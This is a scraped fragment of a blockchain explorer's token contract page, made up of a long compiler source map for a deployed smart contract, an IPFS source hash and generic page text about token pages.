210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1632:456::-;1709:6;1717;1725;1778:2;1766:9;1757:7;1753:23;1749:32;1746:52;;;1794:1;1791;1784:12;1746:52;1833:9;1820:23;1852:31;1877:5;1852:31;:::i;:::-;1902:5;-1:-1:-1;1959:2:1;1944:18;;1931:32;1972:33;1931:32;1972:33;:::i;:::-;1632:456;;2024:7;;-1:-1:-1;;;2078:2:1;2063:18;;;;2050:32;;1632:456::o;2282:367::-;2345:8;2355:6;2409:3;2402:4;2394:6;2390:17;2386:27;2376:55;;2427:1;2424;2417:12;2376:55;-1:-1:-1;2450:20:1;;2493:18;2482:30;;2479:50;;;2525:1;2522;2515:12;2479:50;2562:4;2554:6;2550:17;2538:29;;2622:3;2615:4;2605:6;2602:1;2598:14;2590:6;2586:27;2582:38;2579:47;2576:67;;;2639:1;2636;2629:12;2576:67;2282:367;;;;;:::o;2654:1224::-;2821:6;2829;2837;2845;2853;2861;2869;2922:3;2910:9;2901:7;2897:23;2893:33;2890:53;;;2939:1;2936;2929:12;2890:53;2979:9;2966:23;3008:18;3049:2;3041:6;3038:14;3035:34;;;3065:1;3062;3055:12;3035:34;3104:70;3166:7;3157:6;3146:9;3142:22;3104:70;:::i;:::-;3193:8;;-1:-1:-1;3078:96:1;-1:-1:-1;3278:2:1;3263:18;;3250:32;;-1:-1:-1;3291:31:1;3250:32;3291:31;:::i;:::-;3341:5;;-1:-1:-1;3399:2:1;3384:18;;3371:32;;3415:16;;;3412:36;;;3444:1;3441;3434:12;3412:36;3483:72;3547:7;3536:8;3525:9;3521:24;3483:72;:::i;:::-;3574:8;;-1:-1:-1;3457:98:1;-1:-1:-1;3662:2:1;3647:18;;3634:32;;-1:-1:-1;3678:16:1;;;3675:36;;;3707:1;3704;3697:12;3675:36;;3746:72;3810:7;3799:8;3788:9;3784:24;3746:72;:::i;:::-;2654:1224;;;;-1:-1:-1;2654:1224:1;;-1:-1:-1;2654:1224:1;;;;3720:98;;-1:-1:-1;;;2654:1224:1:o;3883:247::-;3942:6;3995:2;3983:9;3974:7;3970:23;3966:32;3963:52;;;4011:1;4008;4001:12;3963:52;4050:9;4037:23;4069:31;4094:5;4069:31;:::i;4567:118::-;4653:5;4646:13;4639:21;4632:5;4629:32;4619:60;;4675:1;4672;4665:12;4690:382;4755:6;4763;4816:2;4804:9;4795:7;4791:23;4787:32;4784:52;;;4832:1;4829;4822:12;4784:52;4871:9;4858:23;4890:31;4915:5;4890:31;:::i;:::-;4940:5;-1:-1:-1;4997:2:1;4982:18;;4969:32;5010:30;4969:32;5010:30;:::i;:::-;5059:7;5049:17;;;4690:382;;;;;:::o;5077:241::-;5133:6;5186:2;5174:9;5165:7;5161:23;5157:32;5154:52;;;5202:1;5199;5192:12;5154:52;5241:9;5228:23;5260:28;5282:5;5260:28;:::i;5323:248::-;5391:6;5399;5452:2;5440:9;5431:7;5427:23;5423:32;5420:52;;;5468:1;5465;5458:12;5420:52;-1:-1:-1;;5491:23:1;;;5561:2;5546:18;;;5533:32;;-1:-1:-1;5323:248:1:o;5576:388::-;5644:6;5652;5705:2;5693:9;5684:7;5680:23;5676:32;5673:52;;;5721:1;5718;5711:12;5673:52;5760:9;5747:23;5779:31;5804:5;5779:31;:::i;:::-;5829:5;-1:-1:-1;5886:2:1;5871:18;;5858:32;5899:33;5858:32;5899:33;:::i;5969:380::-;6048:1;6044:12;;;;6091;;;6112:61;;6166:4;6158:6;6154:17;6144:27;;6112:61;6219:2;6211:6;6208:14;6188:18;6185:38;6182:161;;6265:10;6260:3;6256:20;6253:1;6246:31;6300:4;6297:1;6290:15;6328:4;6325:1;6318:15;6182:161;;5969:380;;;:::o;6354:356::-;6556:2;6538:21;;;6575:18;;;6568:30;6634:34;6629:2;6614:18;;6607:62;6701:2;6686:18;;6354:356::o;6715:127::-;6776:10;6771:3;6767:20;6764:1;6757:31;6807:4;6804:1;6797:15;6831:4;6828:1;6821:15;6847:127;6908:10;6903:3;6899:20;6896:1;6889:31;6939:4;6936:1;6929:15;6963:4;6960:1;6953:15;6979:125;7044:9;;;7065:10;;;7062:36;;;7078:18;;:::i;7109:135::-;7148:3;7169:17;;;7166:43;;7189:18;;:::i;:::-;-1:-1:-1;7236:1:1;7225:13;;7109:135::o;8715:245::-;8782:6;8835:2;8823:9;8814:7;8810:23;8806:32;8803:52;;;8851:1;8848;8841:12;8803:52;8883:9;8877:16;8902:28;8924:5;8902:28;:::i;12722:128::-;12789:9;;;12810:11;;;12807:37;;;12824:18;;:::i;13887:251::-;13957:6;14010:2;13998:9;13989:7;13985:23;13981:32;13978:52;;;14026:1;14023;14016:12;13978:52;14058:9;14052:16;14077:31;14102:5;14077:31;:::i;14143:461::-;14196:3;14234:5;14228:12;14261:6;14256:3;14249:19;14287:4;14316:2;14311:3;14307:12;14300:19;;14353:2;14346:5;14342:14;14374:1;14384:195;14398:6;14395:1;14392:13;14384:195;;;14463:13;;-1:-1:-1;;;;;14459:39:1;14447:52;;14519:12;;;;14554:15;;;;14495:1;14413:9;14384:195;;;-1:-1:-1;14595:3:1;;14143:461;-1:-1:-1;;;;;14143:461:1:o;14609:582::-;14908:6;14897:9;14890:25;14951:6;14946:2;14935:9;14931:18;14924:34;14994:3;14989:2;14978:9;14974:18;14967:31;14871:4;15015:57;15067:3;15056:9;15052:19;15044:6;15015:57;:::i;:::-;-1:-1:-1;;;;;15108:32:1;;;;15103:2;15088:18;;15081:60;-1:-1:-1;15172:3:1;15157:19;15150:35;15007:65;14609:582;-1:-1:-1;;;14609:582:1:o;15196:332::-;15403:6;15392:9;15385:25;15446:2;15441;15430:9;15426:18;15419:30;15366:4;15466:56;15518:2;15507:9;15503:18;15495:6;15466:56;:::i;:::-;15458:64;15196:332;-1:-1:-1;;;;15196:332:1:o;15533:168::-;15606:9;;;15637;;15654:15;;;15648:22;;15634:37;15624:71;;15675:18;;:::i;15706:217::-;15746:1;15772;15762:132;;15816:10;15811:3;15807:20;15804:1;15797:31;15851:4;15848:1;15841:15;15879:4;15876:1;15869:15;15762:132;-1:-1:-1;15908:9:1;;15706:217::o
Swarm Source
ipfs://dc2651b1ebf381491f0c4b11b7920529b91b26efe8f18d87b0552fa00875c9e7
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.